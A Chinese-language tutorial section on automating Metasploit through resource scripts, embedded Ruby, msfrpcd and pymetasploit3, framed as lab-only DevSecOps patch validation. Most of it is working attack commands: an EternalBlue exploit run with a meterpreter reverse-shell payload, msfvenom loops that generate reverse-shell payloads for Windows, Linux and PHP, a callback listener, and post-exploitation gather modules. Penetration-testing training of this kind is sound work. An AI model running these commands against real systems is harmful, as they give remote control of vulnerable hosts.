本节摘要:SOURCE 7.1:Metasploit Resource Script(.rc)批量执行;RPC/API 与 Python
pymetasploit3集成 DevSecOps。
自动化第一步是用资源脚本把手工步骤固化。msfconsole 本身是封装了 Ruby 环境的交互解释器,任何控制台操作本质上都是对 API 的调用——这为自动化提供了无限可能。
# lab.rc —— 一次受控实验的完整脚本 workspace -a demo use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.56.10 set PORTS 445,3389 run use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.56.10 run use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 run
# 启动脚本 msfconsole -q -r lab.rc
资源脚本逐行执行,且保留上下文:从全局进入模块、设参、执行、退回,全部在同一 Ruby 进程中完成,内存状态不丢。对网段内多个目标做相同操作时,比手动敲命令高效得多。
| 层级 | 方式 |
|---|---|
| 脚本 | .rc 资源文件 |
| 模块开发 | Ruby mixin |
| 外部 | msfrpcd / REST |
# 变量集中管理:setg 全局变量 setg RHOSTS 192.168.56.0/24 setg LHOST 192.168.56.1 # 后续模块自动继承,改一处全局生效
# 带逻辑控制的 rc 片段(resource 支持简单分支) <ruby> if framework.db.active print_status("数据库在线,继续") else print_error("数据库未连接,退出") raise "db offline" end </ruby>
资源脚本缺乏复杂逻辑,Ruby 脚本则直接操作 framework 实例。framework.sessions、framework.modules 提供了遍历与控制能力:
# 伪代码示例:遍历会话做条件判断(教学示意) framework.sessions.each do |sid, session| next unless session.type == 'meterpreter' print_status("Session #{sid} 是 meterpreter") session.core.execute_cmd('getuid') # 依据结果决定下一步 rescue ::Exception => e print_error("Session #{sid} 处理失败: #{e.message}") end
# 在控制台内进入 irb 调试(隔离环境) msf6 > irb irb: warn: can't alias context from irb_context. msf6 (irb) > framework.sessions.count # => 1
这种"元搜索"能力让自动化不再依赖硬编码模块名:可以按平台、rank 动态筛选模块再依次加载。
msfrpcd 提供 MessagePack-RPC 接口,外部语言(Python/Java/Go)可以驱动框架:
# 启动 RPC 服务(示例端口与口令) msfrpcd -P password -S -a 127.0.0.1 # -P 认证口令;-S 启用 SSL
# Python 伪代码示意:通过 RPC 触发受控验证(教学用,非完整实现) # from pymetasploit3.msfrpc import MsfRpcClient # client = MsfRpcClient('password', server='127.0.0.1', port=55553) # exec_mod = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue') # exec_mod['RHOSTS'] = '192.168.56.10' # job_id = exec_mod.execute(payload='windows/meterpreter/reverse_tcp', # LHOST='192.168.56.1', LPORT='4444')
# DevSecOps 场景 CI 触发 → RPC 调用受控 exploit 验证补丁 → 结果回传 → 报告入库 自动化首要价值:可重复验证补丁,而非批量攻击
| 模式 | 用途 |
|---|---|
| 标准化验证与回归测试 | 每次部署后重跑基线 |
| 大规模初始打点 | 对授权网段批量探测 |
| 后渗透自动化 | 提权与信息收集脚本化 |
| 报告生成 | 扫描结果自动渲染 |
# 批量收集示例:对一组主机跑信息收集模块 # enum.rc 片段 setg RHOSTS 192.168.56.0/24 run post/windows/gather/enum_applications run post/windows/gather/enum_patches

⚠️ 常见坑:rc 里硬编码 LHOST——CI 需参数化。把 IP、端口抽成变量(
setg或外部传入),脚本才能在多环境复用。
💡 关键直觉:自动化首要价值是「可重复验证补丁」,非批量攻击。同样的脚本,在 DevSecOps 里是质量闸门,在违法场景里就是入侵工具。
~/.msf4/modules/资源脚本不是静态文本。用 setg 管理全局变量、用 <ruby> 块嵌入逻辑,可以让脚本具备初步动态性:
# 带全局变量的 rc 片段 setg RHOSTS 192.168.56.10 setg LHOST 192.168.56.1 setg LPORT 4444 use auxiliary/scanner/smb/smb_version run use exploit/windows/smb/ms17_010_eternalblue run # 全局变量自动带入,无需重复 set
# 在 rc 中嵌入 Ruby 做环境判断 <ruby> unless framework.db.active print_error("数据库未连接,先执行 db_status / db_connect") raise "DB offline" end print_status("数据库在线,主机数: #{framework.db.hosts.length}") </ruby>
# 资源脚本内置变量(常见) session # 当前会话对象 framework # 框架实例 lhost # 本机监听地址 lport # 本机监听端口
自动化不只发生在控制台内。msfvenom 可以脚本化批量生成载荷,配合投递流程:
# 批量生成多格式载荷(隔离 lab) for fmt in exe dll ps1 raw; do msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.1 LPORT=4444 -f $fmt -o payload.$fmt done ls -la payload.* # 生成多种架构,匹配不同目标 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o linux.elf msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.php
# 投递配合示例(教学示意,隔离环境) # 起监听 → 投递 payload → 目标执行 → 会话回连 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 run -j
把生成、监听、清理封装成脚本,实验环境可以一键重建——这是自动化在测试工程中的直接价值。
自动化脚本调试有三板斧:
# 1. 单行执行定位问题 msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.56.10; run" # 2. 打开日志跟踪 msfconsole -q -L # 3. 资源脚本逐步确认 # 在 rc 中每段末尾加 print_status 输出当前状态 print_status("完成端口扫描,进入利用阶段")
# 常见脚本失败原因 1. 全局变量被局部覆盖(set vs setg) 2. 模块参数名拼写(RHOSTS 复数 vs RHOST) 3. 脚本中路径含空格未引号包裹 4. 环境差异(Windows/Linux 路径分隔符)
写脚本的第一原则:让失败信息可见。宁可多打几个 print_status,也不要脚本黑盒跑完没有任何输出。